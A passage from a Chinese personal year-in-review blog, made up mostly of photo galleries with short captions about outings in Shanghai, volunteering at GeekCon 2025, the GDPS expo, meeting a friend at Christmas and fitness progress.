&lt;h2&gt;故鄉&lt;/h2&gt;
&lt;p&gt;儿时恶搞的痕迹，还在呢 LOL&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2dp642dnmb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8l0k489eq3.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102n012ll0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw795uapn.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.99tto8wxpv.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.iclbg17zc.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51emef6owg.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;家有花农&lt;/h2&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a7qjbbju.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8l0k48mitp.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr79v1cws.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1hsorinadg.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;？？&lt;/h2&gt;
&lt;p&gt;一次干掉一整瓶红酒（&lt;/p&gt;
&lt;p&gt;这东西还是冰的好喝，不冰的干红酒入口味道有点大……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4ubeizu3re.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;what&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5j4o5tsdi5.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;公园漫步&lt;/h2&gt;
&lt;p&gt;想走就走，我也不知道是什么地方，反正就是瞎逛 xD&lt;/p&gt;
&lt;p&gt;那棵树下的长椅很有感觉啊，好像恐怖片里的场景（bushi&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.45i4yzd422.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qlstqvup.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.szf4lwjp8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5moa0qh8rq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;书店&lt;/h2&gt;
&lt;p&gt;今年也逛了几次书店，主要买点定制书，收藏价值拉满 :P&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175uyah3pv.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7pribbfsr.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1ziqd7uso9.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6ikrj09yl6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8adqfi216t.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2a5karsfim.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.99ttso4sbq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9o09jjd37f.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3621q8j6u0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.58hueahrut.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70at9714rt.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;随手翻开两本书的扉页，意外地给人一种连贯感……&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5j4o5ugcu3.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4g4yuykiyd.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;追光&lt;/h2&gt;
&lt;p&gt;也是吃完饭闲的没事，去探索地图无意中发现的风景 LOL&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70at4s7dv5.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr772eb5n.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4ubej0fq4p.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;生日 Party&lt;/h2&gt;
&lt;p&gt;渊渊的生日派对包得翘课去嗨皮的呀～&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2yytqejr3j.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3d59h9s1y9.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7pribxn0u.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Unknown&lt;/h2&gt;
&lt;p&gt;千万让我这个闲人吃饱饭发现河里有乌龟，不然我会用雨伞把它捞上来再放到更大的河里……&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6m4ddxkcls.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6m4ddxkcmb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.mjmwganl.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;大气层摄影师&lt;/h2&gt;
&lt;p&gt;好像自那天以后天边的晚霞都很好看。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.szf4n328m.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5moa0rnrbj.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a7qkqh39.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.77e108kyre.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;湖州记&lt;/h2&gt;
&lt;p&gt;去了趟湖州，结果回来发现被晒成煤炭了（&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obzxa335f.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apgt8s150.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2rvluzw5uw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;1024&lt;/h2&gt;
&lt;p&gt;时间来到了 10.24，去 GeekCon 2025 当志愿者玩了。23 和工作人员布置场地到晚上九点，24 早上五点就起床去赶地铁了，结果发现地铁六点半才开始运营 lol&lt;/p&gt;
&lt;p&gt;N1nEmAn 师傅也去了，又和老熟人碰了个头，年底的时候 vlex 也从英国回来了，去年面基过的人今年都再次见面了 xD&lt;/p&gt;
&lt;p&gt;1023 晚和 GeekCon 的工作人员一起吃晚饭，发现这些研究所的大佬都好强，一个个都是全栈爷，但都没什么架子。要是以后有机会的话倒是挺想去 GeekCon 实习的哈哈。希望以后我能和台上台下的大佬们更进一步。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8adqb5woi1.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3621lvwr9d.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkgr595h8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9o09f77qie.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.wj12ec0s1.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.83aifqaj1i.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5q7vyiwpug.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7snomkvawb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70at4uep54.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4n86nobmr6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obzxc64fp.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3govf2mq5x.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3621lx7i0g.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a7qnh3ou.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkgr6jw8b.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;天安千树&lt;/h2&gt;
&lt;p&gt;20 年前的人对未来城市的想象（&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.26lyd29i3e.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw7dlcan5.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apgxlztnw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60upw0rg1j.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.41yj5olxq7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;红园&lt;/h2&gt;
&lt;p&gt;在刚入冬的时候去的，当时想着不能错过今年份的秋，就算是残秋我也要看……夏天的时候就暗自想着这辈子能看多少春夏秋冬了，要珍惜（&lt;/p&gt;
&lt;p&gt;遗憾的是上海的冬天没有雪。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2vf7vhuby6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4n86qedoui.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3ns3d8axp1.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qlvnq33d.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8dxcbn2k2k.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;GDPS&lt;/h2&gt;
&lt;p&gt;GDPS 是今年参加的最后一个大型活动了，那天，我看机器人看到吐（&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4ubelujbif.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54y8ezyjnl.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axn0rxl5n.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6pnzeh34ut.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.99ttr433gp.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39lnmdthsd.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3ns3d8uews.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3d59k3f6r7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.szf7gf84v.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8vne08neuc.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4jokspbh38.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.67xxpw1r91.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;领导参观，大场面……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3govht89g7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;这辈子头一回见那么大的硬盘，西数的服务器也很帅。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkgtxcta8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;一开始以为是什么赛博机器人，心想怎么弄那么逼真，然后问负责这个场地的，让我上前看看就知道了 embarrassment..&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6bhjnlutyx.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;外骨骼……这可是真的穿上叠 buff 啊，太强了！&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.13m90m1u0f.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;未来黑奴的广告词，俗，但直指核心 LMAO&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5moa3l7axt.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;没想到 GDPS 还有隐藏的活动，一开始看到硅基伴侣，以为咱现在那么开放了，都可以找机器人了吗？但最后发现，bro 好像是误入了相亲大会，想跑已经来不及了&amp;lt;s&amp;gt;（反正也没准备跑）&amp;lt;/s&amp;gt;……&lt;/p&gt;
&lt;p&gt;主要是有好玩的，桌上的小礼包还是很有吸引力的，包得厚着脸皮玩完再走啊哈哈哈，&lt;s&gt;反正没见有查邀请函什么的（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7p42ro5krx.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4xv0jllz0e.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5moa3m9i0q.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.64ebs7avli.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5trhz1vnfz.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;一天下来薅了一堆没啥用的小礼品 xD&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2rvlxtnxqe.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;再次与 Vlex 相聚&lt;/h2&gt;
&lt;p&gt;终于来到了平安夜，本来是想着独自去人民广场啃个苹果，瞎逛逛的，但是 vlex 说要回国，俩人正好再见个面 :D&lt;/p&gt;
&lt;p&gt;本来想在人民广场碰头，以为那边会很有圣诞氛围，然非也……不过那边的白鸽广场是真的名副其实，第一次见那么多鸽子聚在一起，发出低沉的咕咕声，有点小壮观。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39lnmg9k56.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70at7oyfc6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.58hucsf2gj.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;下午直接逛 ZX 创趣场了，感觉自己的片历好少……不过也不需要那么丰富。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.b9dixe2vn.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;有关我和我的同性朋友去私人影院呆了一下午（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;看的&amp;lt;i&amp;gt;《蓦然回首》&amp;lt;/i&amp;gt;，很好的一部动漫，vlex 的赏析也很有深度，学习学习 :P&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3rbpb0npxo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;剩下一点时间也不够看别的了，无意间刷到了神奇的&amp;lt;i&amp;gt;《我的世界大电影》&amp;lt;/i&amp;gt;，难绷……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3d59k5ff2e.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;当然少不了夜之城&amp;lt;s&amp;gt;（虽然快要看吐了，但每次去外滩都还是会随便拍几张）&amp;lt;/s&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3rbpb0npxa.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6ikrj39tyw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.92qlvq9skv.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Vlex 送的圣诞礼物 :D 必须好好珍藏～&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4ubelwjjs6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4xv0jmcmhh.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2kse2eytak.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h1&gt;健身 | 对抗久坐与熵增&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;接下来来点 NSFW 的内容（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;今年主要还是上半年健身多一点，并且难得的连续跑了好几周步，从五公里到十公里……有段时间有点想去跑个半马玩玩……&lt;/p&gt;
&lt;p&gt;还记得当时扬言要一周解锁单手俯卧撑，结果还真给我做到了 xD&lt;/p&gt;
&lt;p&gt;那会儿一次三个单手俯卧撑还是没什么问题的，但之后去学 Pwn 了就没怎么练过了……&lt;/p&gt;
&lt;p&gt;希望明年我能更好的均衡健身和学习的时间。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.pft6wm11f.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5j4o31ztp7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h1&gt;阅读 | 被撑爆的小书架&lt;/h1&gt;
